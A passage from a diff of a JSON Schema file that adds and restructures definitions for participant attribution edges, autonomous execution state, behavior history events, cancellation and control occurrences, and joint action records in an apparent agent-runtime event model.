"ParticipantAttributionCandidateKind", "type": "string" }, - "ParticipantControlOccurrenceModel": { + "ParticipantAttributionCandidateModel": { "additionalProperties": false, - "description": "Closed participant-runtime carrier for one API-409 control fact.", "properties": { - "actor_ref": { - "minLength": 1, - "title": "Actor Ref", - "type": "string" + "candidate_kind": { + "$ref": "#/$defs/ParticipantAttributionCandidateKind" }, - "authorization_scope": { + "description": { "minLength": 1, - "title": "Authorization Scope", + "title": "Description", "type": "string" }, - "clock_authority": { + "ref": { "minLength": 1, - "title": "Clock Authority", + "title": "Ref", "type": "string" + } + }, + "required": [ + "candidate_kind", + "ref", + "description" + ], + "title": "ParticipantAttributionCandidateModel", + "type": "object" + }, + "ParticipantAttributionEdgeModel": { + "additionalProperties": false, + "properties": { + "cause_candidate": { + "$ref": "#/$defs/ParticipantAttributionCandidateModel" }, "confidence": { - "anyOf": [ - { - "maximum": 1, - "minimum": 0, - "type": "number" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Confidence" + "minLength": 1, + "title": "Confidence", + "type": "string" }, - "episode_id": { + "edge_id": { "minLength": 1, - "title": "Episode Id", + "title": "Edge Id", "type": "string" }, - "event_classification": { - "anyOf": [ - { - "$ref": "#/$defs/EventClassificationModel" - }, - { - "type": "null" - } - ], - "default": null + "effect_candidate": { + "$ref": "#/$defs/ParticipantAttributionCandidateModel" }, - "event_id": { + "episode_id": { "minLength": 1, - "title": "Event Id", + "title": "Episode Id", "type": "string" }, - "event_type": { - "const": "participant-control-occurrence", - "title": "Event Type", - "type": "string" + "evidence_basis": { + "$ref": "#/$defs/ParticipantAttributionEvidenceBasisModel" }, "evidence_refs": { "items": { @@ -2641,33 +2713,7 @@ "title": "Evidence Refs", "type": "array" }, - "extension_policy": { - "const": "closed", - "title": "Extension Policy", - "type": "string" - }, - "granular_markings": { - "additionalProperties": { - "items": { - "minLength": 1, - "type": "string" - }, - "type": "array" - }, - "propertyNames": { - "minLength": 1 - }, - "title": "Granular Markings", - "type": "object" - }, - "ingested_at": { - "format": "date-time", - "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Ingested At", - "type": "string" - }, - "logical_order_ref": { + "interpretation_rule_ref": { "anyOf": [ { "minLength": 1, @@ -2678,195 +2724,233 @@ } ], "default": null, - "title": "Logical Order Ref" - }, - "marking_definition_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Marking Definition Refs", - "type": "array" - }, - "markings": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Markings", - "type": "array" + "title": "Interpretation Rule Ref" }, - "object_marking_refs": { + "limitations": { "items": { "minLength": 1, "type": "string" }, "minItems": 1, - "title": "Object Marking Refs", + "title": "Limitations", "type": "array" }, - "occurred_at": { - "format": "date-time", + "observation_point": { "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Occurred At", + "title": "Observation Point", "type": "string" }, - "occurrence": { - "discriminator": { - "mapping": { - "approval": "#/$defs/ParticipantApprovalOccurrenceModel", - "cancellation": "#/$defs/ParticipantCancellationOccurrenceModel", - "denial": "#/$defs/ParticipantDenialOccurrenceModel", - "external-direction": "#/$defs/ParticipantExternalDirectionOccurrenceModel", - "handoff": "#/$defs/ParticipantHandoffOccurrenceModel", - "intervention": "#/$defs/ParticipantInterventionOccurrenceModel", - "override": "#/$defs/ParticipantOverrideOccurrenceModel", - "proposal": "#/$defs/ParticipantProposalOccurrenceModel" - }, - "propertyName": "kind" - }, - "oneOf": [ - { - "$ref": "#/$defs/ParticipantProposalOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantApprovalOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantDenialOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantExternalDirectionOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantInterventionOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantHandoffOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantOverrideOccurrenceModel" - }, - { - "$ref": "#/$defs/ParticipantCancellationOccurrenceModel" - } - ], - "title": "Occurrence" - }, "ordering_basis": { - "enum": [ - "total_order", - "partial_order", - "simultaneous", - "serialized_backend_order", - "simulation_tick", - "control_plane_order", - "logical_clock", - "vector_clock", - "wall_clock_only", - "unknown", - "unsupported" - ], - "title": "Ordering Basis", - "type": "string" + "$ref": "#/$defs/ParticipantAttributionOrderingBasisModel" }, "participant_address": { "minLength": 1, "title": "Participant Address", "type": "string" }, - "predecessor_event_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Predecessor Event Refs", - "type": "array" + "strength": { + "minLength": 1, + "title": "Strength", + "type": "string" }, - "producer_ref": { + "support_class": { + "$ref": "#/$defs/ParticipantAttributionSupportClass" + } + }, + "required": [ + "edge_id", + "participant_address", + "episode_id", + "observation_point", + "cause_candidate", + "effect_candidate", + "ordering_basis", + "evidence_basis", + "support_class", + "confidence", + "strength", + "limitations", + "evidence_refs" + ], + "title": "ParticipantAttributionEdgeModel", + "type": "object" + }, + "ParticipantAttributionEvidenceBasisModel": { + "additionalProperties": false, + "properties": { + "capture_apparatus": { "minLength": 1, - "title": "Producer Ref", + "title": "Capture Apparatus", "type": "string" }, - "provenance_refs": { - "items": { + "granularity": { + "minLength": 1, + "title": "Granularity", + "type": "string" + }, + "loss_model": { + "minLength": 1, + "title": "Loss Model", + "type": "string" + }, + "observer_effects": { + "items": { "minLength": 1, "type": "string" }, "minItems": 1, - "title": "Provenance Refs", + "title": "Observer Effects", "type": "array" }, - "raw_data_integrity": { - "anyOf": [ - { - "$ref": "#/$defs/RawDataIntegrityModel" - }, - { - "type": "null" - } - ], - "default": null + "redaction_policy": { + "minLength": 1, + "title": "Redaction Policy", + "type": "string" + } + }, + "required": [ + "capture_apparatus", + "granularity", + "loss_model", + "redaction_policy", + "observer_effects" + ], + "title": "ParticipantAttributionEvidenceBasisModel", + "type": "object" + }, + "ParticipantAttributionOrderingBasisKind": { + "description": "Explicit ordering bases for attribution edges.", + "enum": [ + "happened_before", + "workflow_order", + "episode_order", + "backend_event_order", + "replay_order", + "ablation_order", + "structural_causal", + "timestamp_adjacency" + ], + "title": "ParticipantAttributionOrderingBasisKind", + "type": "string" + }, + "ParticipantAttributionOrderingBasisModel": { + "additionalProperties": false, + "properties": { + "basis_kind": { + "$ref": "#/$defs/ParticipantAttributionOrderingBasisKind" }, - "recorded_at": { - "format": "date-time", + "description": { "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Recorded At", + "title": "Description", "type": "string" }, - "redaction_policy_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Redaction Policy Ref" + "ordered_event_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Ordered Event Refs", + "type": "array" }, - "schema_name": { - "const": "participant-control-occurrence", - "title": "Schema Name", + "relation_ref": { + "minLength": 1, + "title": "Relation Ref", "type": "string" + } + }, + "required": [ + "basis_kind", + "relation_ref", + "description" + ], + "title": "ParticipantAttributionOrderingBasisModel", + "type": "object" + }, + "ParticipantAttributionSupportClass": { + "description": "Evidence-strength classes for participant attribution.", + "enum": [ + "declared_association", + "temporal_support", + "contract_support", + "observation_support", + "counterfactual_support", + "intervention_support", + "replay_support", + "ablation_support", + "structural_causal_support" + ], + "title": "ParticipantAttributionSupportClass", + "type": "string" + }, + "ParticipantAutonomousExecutionStateModel": { + "additionalProperties": false, + "description": "Typed scheduler readback for one participant execution policy.", + "properties": { + "attempted_actions": { + "minimum": 0, + "title": "Attempted Actions", + "type": "integer" }, - "schema_version": { - "const": "1.0.0", - "title": "Schema Version", + "burst_position": { + "default": 0, + "minimum": 0, + "title": "Burst Position", + "type": "integer" + }, + "burst_size": { + "default": 1, + "minimum": 1, + "title": "Burst Size", + "type": "integer" + }, + "candidate_cooldown_until": { + "additionalProperties": { + "type": "integer" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Candidate Cooldown Until", + "type": "object" + }, + "clock_address": { + "minLength": 1, + "title": "Clock Address", "type": "string" }, - "sequence_number": { - "anyOf": [ - { - "minimum": 0, - "type": "integer" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Sequence Number" + "completed_candidate_ids": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Completed Candidate Ids", + "type": "array" }, - "source_pipeline": { - "anyOf": [ - { - "$ref": "#/$defs/SourcePipelineModel" - }, - { - "type": "null" - } - ], - "default": null + "current_retry": { + "default": 0, + "minimum": 0, + "title": "Current Retry", + "type": "integer" }, - "source_raw_ref": { + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "failed_actions": { + "minimum": 0, + "title": "Failed Actions", + "type": "integer" + }, + "in_flight": { + "default": 0, + "minimum": 0, + "title": "In Flight", + "type": "integer" + }, + "last_action_instance_id": { "anyOf": [ { - "minLength": 1, "type": "string" }, { @@ -2874,12 +2958,11 @@ } ], "default": null, - "title": "Source Raw Ref" + "title": "Last Action Instance Id" }, - "source_record_ref": { + "last_candidate_id": { "anyOf": [ { - "minLength": 1, "type": "string" }, { @@ -2887,42 +2970,972 @@ } ], "default": null, - "title": "Source Record Ref" + "title": "Last Candidate Id" }, - "source_status": { - "anyOf": [ - { - "$ref": "#/$defs/SourceStatusModel" - }, - { - "type": "null" - } + "lifecycle_state": { + "enum": [ + "running", + "paused", + "completed", + "failed" ], - "default": null + "title": "Lifecycle State", + "type": "string" }, - "source_system_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Source System Ref" + "next_action_index": { + "minimum": 0, + "title": "Next Action Index", + "type": "integer" }, - "temporal_context": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], + "next_tick": { + "minimum": 0, + "title": "Next Tick", + "type": "integer" + }, + "next_timing_disposition": { + "default": "cadence", + "enum": [ + "cadence", + "drawn", + "next_opening" + ], + "title": "Next Timing Disposition", + "type": "string" + }, + "occurrence_ordinal": { + "default": 0, + "minimum": 0, + "title": "Occurrence Ordinal", + "type": "integer" + }, + "participant_address": { + "minLength": 1, + "title": "Participant Address", + "type": "string" + }, + "participant_implementation_ref": { + "minLength": 1, + "title": "Participant Implementation Ref", + "type": "string" + }, + "policy_address": { + "minLength": 1, + "title": "Policy Address", + "type": "string" + }, + "policy_digest": { + "minLength": 1, + "title": "Policy Digest", + "type": "string" + }, + "profile": { + "default": "participant-autonomous-execution/v1", + "enum": [ + "participant-autonomous-execution/v1", + "participant-autonomous-execution/v2", + "participant-autonomous-execution/v3" + ], + "title": "Profile", + "type": "string" + }, + "random_control_id": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Random Control Id" + }, + "random_namespace": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Random Namespace" + }, + "random_profile_id": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Random Profile Id" + }, + "succeeded_actions": { + "minimum": 0, + "title": "Succeeded Actions", + "type": "integer" + }, + "time_segment": { + "minimum": 0, + "title": "Time Segment", + "type": "integer" + } + }, + "required": [ + "policy_address", + "policy_digest", + "participant_address", + "episode_id", + "participant_implementation_ref", + "clock_address", + "time_segment", + "lifecycle_state", + "next_tick", + "next_action_index", + "attempted_actions", + "succeeded_actions", + "failed_actions" + ], + "title": "ParticipantAutonomousExecutionStateModel", + "type": "object" + }, + "ParticipantBehaviorHistoryEventModel": { + "additionalProperties": false, + "properties": { + "action_contract_address": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Action Contract Address" + }, + "action_instance_id": { + "minLength": 1, + "title": "Action Instance Id", + "type": "string" + }, + "action_result": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantActionResultModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "activity_provenance": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantActivityOccurrenceProvenanceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "actor_provenance": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Actor Provenance" + }, + "admission_disposition": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantAdmissionDisposition" + }, + { + "type": "null" + } + ], + "default": null + }, + "attribution_edges": { + "items": { + "$ref": "#/$defs/ParticipantAttributionEdgeModel" + }, + "title": "Attribution Edges", + "type": "array" + }, + "details": { + "$ref": "#/$defs/ParticipantObservationDetailsModel" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "event_type": { + "$ref": "#/$defs/ParticipantBehaviorHistoryEventType" + }, + "interaction_class": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantInteractionClass" + }, + { + "type": "null" + } + ], + "default": null + }, + "interaction_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Interaction Ref" + }, + "joint_action_set_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Joint Action Set Id" + }, + "lifecycle_phase": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantRuntimeLifecyclePhase" + }, + { + "type": "null" + } + ], + "default": null + }, + "observation_boundary_address": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Address" + }, + "observation_status": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantObservationStatus" + }, + { + "type": "null" + } + ], + "default": null + }, + "operation_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Operation Ref" + }, + "operation_state": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantLifecycleOperationState" + }, + { + "type": "null" + } + ], + "default": null + }, + "outcome_interpretations": { + "items": { + "$ref": "#/$defs/ParticipantOutcomeInterpretationRecordModel" + }, + "title": "Outcome Interpretations", + "type": "array" + }, + "participant_address": { + "minLength": 1, + "title": "Participant Address", + "type": "string" + }, + "phase_realization": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantPhaseRealization" + }, + { + "type": "null" + } + ], + "default": null + }, + "post_state_digest": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Post State Digest" + }, + "realized_order": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Realized Order" + }, + "shared_state_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Shared State Refs", + "type": "array" + }, + "state_transition_kind": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "State Transition Kind" + }, + "temporal_assessments": { + "items": { + "$ref": "#/$defs/ParticipantTemporalAssessmentModel" + }, + "title": "Temporal Assessments", + "type": "array" + }, + "temporal_contexts": { + "items": { + "$ref": "#/$defs/ParticipantTemporalRuntimeContextModel" + }, + "title": "Temporal Contexts", + "type": "array" + }, + "timestamp": { + "minLength": 1, + "title": "Timestamp", + "type": "string" + } + }, + "required": [ + "event_type", + "timestamp", + "participant_address", + "episode_id", + "action_instance_id" + ], + "title": "ParticipantBehaviorHistoryEventModel", + "type": "object" + }, + "ParticipantBehaviorHistoryEventType": { + "description": "Portable history event kinds for participant behavior semantics.", + "enum": [ + "action_attempted", + "state_transition_recorded", + "observation_emitted" + ], + "title": "ParticipantBehaviorHistoryEventType", + "type": "string" + }, + "ParticipantCancellationEffect": { + "description": "What remained cancellable when the occurrence was recorded.", + "enum": [ + "prevented", + "partial-limitation", + "too-late" + ], + "title": "ParticipantCancellationEffect", + "type": "string" + }, + "ParticipantCancellationOccurrenceModel": { + "additionalProperties": false, + "description": "A cancellation with an explicit non-retroactive effect.", + "properties": { + "authority_basis_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Authority Basis Refs", + "type": "array" + }, + "behavior_specification_ref": { + "minLength": 1, + "title": "Behavior Specification Ref", + "type": "string" + }, + "cancellation_effect": { + "$ref": "#/$defs/ParticipantCancellationEffect" + }, + "controlled_scope_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Controlled Scope Refs", + "type": "array" + }, + "controller_ref": { + "minLength": 1, + "title": "Controller Ref", + "type": "string" + }, + "controller_state_ref": { + "minLength": 1, + "title": "Controller State Ref", + "type": "string" + }, + "declaration_ref": { + "minLength": 1, + "title": "Declaration Ref", + "type": "string" + }, + "disposition": { + "$ref": "#/$defs/ParticipantControlDisposition" + }, + "effective_order": { + "minimum": 0, + "title": "Effective Order", + "type": "integer" + }, + "expected_state_revision": { + "minimum": 0, + "title": "Expected State Revision", + "type": "integer" + }, + "kind": { + "const": "cancellation", + "title": "Kind", + "type": "string" + }, + "limitation_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Limitation Refs", + "type": "array" + }, + "mixed_control_policy_ref": { + "minLength": 1, + "title": "Mixed Control Policy Ref", + "type": "string" + }, + "occurrence_revision": { + "minimum": 1, + "title": "Occurrence Revision", + "type": "integer" + }, + "policy_revision": { + "minLength": 1, + "title": "Policy Revision", + "type": "string" + }, + "reason_code": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason Code" + }, + "reason_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason Ref" + }, + "target_kind": { + "enum": [ + "proposal", + "decision", + "admitted-action", + "attempt" + ], + "title": "Target Kind", + "type": "string" + }, + "target_ref": { + "minLength": 1, + "title": "Target Ref", + "type": "string" + }, + "target_revision": { + "minimum": 1, + "title": "Target Revision", + "type": "integer" + }, + "valid_from_order": { + "minimum": 0, + "title": "Valid From Order", + "type": "integer" + }, + "valid_until_order": { + "minimum": 0, + "title": "Valid Until Order", + "type": "integer" + } + }, + "required": [ + "declaration_ref", + "controller_ref", + "controller_state_ref", + "authority_basis_refs", + "controlled_scope_refs", + "behavior_specification_ref", + "mixed_control_policy_ref", + "policy_revision", + "expected_state_revision", + "effective_order", + "valid_from_order", + "valid_until_order", + "occurrence_revision", + "disposition", + "limitation_refs", + "kind", + "target_kind", + "target_ref", + "target_revision", + "cancellation_effect" + ], + "title": "ParticipantCancellationOccurrenceModel", + "type": "object" + }, + "ParticipantControlDisposition": { + "description": "Realized disposition of one portable control occurrence.", + "enum": [ + "recorded", + "accepted", + "rejected", + "limited", + "superseded", + "cancelled" + ], + "title": "ParticipantControlDisposition", + "type": "string" + }, + "ParticipantControlOccurrenceModel": { + "additionalProperties": false, + "description": "Closed participant-runtime carrier for one API-409 control fact.", + "properties": { + "actor_ref": { + "minLength": 1, + "title": "Actor Ref", + "type": "string" + }, + "authorization_scope": { + "minLength": 1, + "title": "Authorization Scope", + "type": "string" + }, + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", + "type": "string" + }, + "confidence": { + "anyOf": [ + { + "maximum": 1, + "minimum": 0, + "type": "number" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Confidence" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "event_classification": { + "anyOf": [ + { + "$ref": "#/$defs/EventClassificationModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "event_id": { + "minLength": 1, + "title": "Event Id", + "type": "string" + }, + "event_type": { + "const": "participant-control-occurrence", + "title": "Event Type", + "type": "string" + }, + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Evidence Refs", + "type": "array" + }, + "extension_policy": { + "const": "closed", + "title": "Extension Policy", + "type": "string" + }, + "granular_markings": { + "additionalProperties": { + "items": { + "minLength": 1, + "type": "string" + }, + "type": "array" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Granular Markings", + "type": "object" + }, + "ingested_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Ingested At", + "type": "string" + }, + "logical_order_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Logical Order Ref" + }, + "marking_definition_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Marking Definition Refs", + "type": "array" + }, + "markings": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Markings", + "type": "array" + }, + "object_marking_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Object Marking Refs", + "type": "array" + }, + "occurred_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Occurred At", + "type": "string" + }, + "occurrence": { + "discriminator": { + "mapping": { + "approval": "#/$defs/ParticipantApprovalOccurrenceModel", + "cancellation": "#/$defs/ParticipantCancellationOccurrenceModel", + "denial": "#/$defs/ParticipantDenialOccurrenceModel", + "external-direction": "#/$defs/ParticipantExternalDirectionOccurrenceModel", + "handoff": "#/$defs/ParticipantHandoffOccurrenceModel", + "intervention": "#/$defs/ParticipantInterventionOccurrenceModel", + "override": "#/$defs/ParticipantOverrideOccurrenceModel", + "proposal": "#/$defs/ParticipantProposalOccurrenceModel" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/ParticipantProposalOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantApprovalOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantDenialOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantExternalDirectionOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantInterventionOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantHandoffOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantOverrideOccurrenceModel" + }, + { + "$ref": "#/$defs/ParticipantCancellationOccurrenceModel" + } + ], + "title": "Occurrence" + }, + "ordering_basis": { + "enum": [ + "total_order", + "partial_order", + "simultaneous", + "serialized_backend_order", + "simulation_tick", + "control_plane_order", + "logical_clock", + "vector_clock", + "wall_clock_only", + "unknown", + "unsupported" + ], + "title": "Ordering Basis", + "type": "string" + }, + "participant_address": { + "minLength": 1, + "title": "Participant Address", + "type": "string" + }, + "predecessor_event_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Predecessor Event Refs", + "type": "array" + }, + "producer_ref": { + "minLength": 1, + "title": "Producer Ref", + "type": "string" + }, + "provenance_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Provenance Refs", + "type": "array" + }, + "raw_data_integrity": { + "anyOf": [ + { + "$ref": "#/$defs/RawDataIntegrityModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "recorded_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Recorded At", + "type": "string" + }, + "redaction_policy_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redaction Policy Ref" + }, + "schema_name": { + "const": "participant-control-occurrence", + "title": "Schema Name", + "type": "string" + }, + "schema_version": { + "const": "1.0.0", + "title": "Schema Version", + "type": "string" + }, + "sequence_number": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Sequence Number" + }, + "source_pipeline": { + "anyOf": [ + { + "$ref": "#/$defs/SourcePipelineModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "source_raw_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Raw Ref" + }, + "source_record_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Record Ref" + }, + "source_status": { + "anyOf": [ + { + "$ref": "#/$defs/SourceStatusModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "source_system_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source System Ref" + }, + "temporal_context": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], "default": null, "title": "Temporal Context" } @@ -6626,41 +7639,288 @@ "title": "Expected State Revision", "type": "integer" }, - "intervention_ref": { + "intervention_ref": { + "minLength": 1, + "title": "Intervention Ref", + "type": "string" + }, + "kind": { + "const": "intervention", + "title": "Kind", + "type": "string" + }, + "limitation_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Limitation Refs", + "type": "array" + }, + "mixed_control_policy_ref": { + "minLength": 1, + "title": "Mixed Control Policy Ref", + "type": "string" + }, + "occurrence_revision": { + "minimum": 1, + "title": "Occurrence Revision", + "type": "integer" + }, + "policy_revision": { + "minLength": 1, + "title": "Policy Revision", + "type": "string" + }, + "reason_code": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason Code" + }, + "reason_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason Ref" + }, + "valid_from_order": { + "minimum": 0, + "title": "Valid From Order", + "type": "integer" + }, + "valid_until_order": { + "minimum": 0, + "title": "Valid Until Order", + "type": "integer" + } + }, + "required": [ + "declaration_ref", + "controller_ref", + "controller_state_ref", + "authority_basis_refs", + "controlled_scope_refs", + "behavior_specification_ref", + "mixed_control_policy_ref", + "policy_revision", + "expected_state_revision", + "effective_order", + "valid_from_order", + "valid_until_order", + "occurrence_revision", + "disposition", + "limitation_refs", + "kind", + "affected_target_kind", + "affected_occurrence_ref", + "affected_revision", + "intervention_ref" + ], + "title": "ParticipantInterventionOccurrenceModel", + "type": "object" + }, + "ParticipantJointActionAccessSetModel": { + "additionalProperties": false, + "description": "Read/write footprint for one member event in a joint action record.", + "properties": { + "evidence_stream_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Evidence Stream Refs", + "type": "array" + }, + "exclusive_resource_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Exclusive Resource Refs", + "type": "array" + }, + "member_event_ref": { + "minLength": 1, + "title": "Member Event Ref", + "type": "string" + }, + "shared_state_read_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Shared State Read Refs", + "type": "array" + }, + "shared_state_write_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Shared State Write Refs", + "type": "array" + }, + "visibility_effect_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Visibility Effect Refs", + "type": "array" + } + }, + "required": [ + "member_event_ref" + ], + "title": "ParticipantJointActionAccessSetModel", + "type": "object" + }, + "ParticipantJointActionRecordModel": { + "additionalProperties": false, + "description": "RUN-308 joint action / concurrency record over behavior events.", + "properties": { + "access_sets": { + "items": { + "$ref": "#/$defs/ParticipantJointActionAccessSetModel" + }, + "minItems": 1, + "title": "Access Sets", + "type": "array" + }, + "actor_ref": { + "minLength": 1, + "title": "Actor Ref", + "type": "string" + }, + "atomicity_scope": { + "enum": [ + "single_object", + "multi_object", + "coordination_interval", + "unsupported" + ], + "title": "Atomicity Scope", + "type": "string" + }, + "authorization_scope": { + "minLength": 1, + "title": "Authorization Scope", + "type": "string" + }, + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", + "type": "string" + }, + "confidence": { + "anyOf": [ + { + "maximum": 1, + "minimum": 0, + "type": "number" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Confidence" + }, + "conflict_class": { + "enum": [ + "none", + "read_write", + "write_write", + "unsupported" + ], + "title": "Conflict Class", + "type": "string" + }, + "conflict_policy": { + "enum": [ + "none", + "coordinate", + "serialize", + "reject", + "retry", + "withhold", + "merge", + "rollback", + "disclose_weak_guarantee", + "unsupported" + ], + "title": "Conflict Policy", + "type": "string" + }, + "episode_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Episode Id" + }, + "event_classification": { + "anyOf": [ + { + "$ref": "#/$defs/EventClassificationModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "event_id": { "minLength": 1, - "title": "Intervention Ref", + "title": "Event Id", "type": "string" }, - "kind": { - "const": "intervention", - "title": "Kind", + "event_type": { + "minLength": 1, + "title": "Event Type", "type": "string" }, - "limitation_refs": { + "evidence_refs": 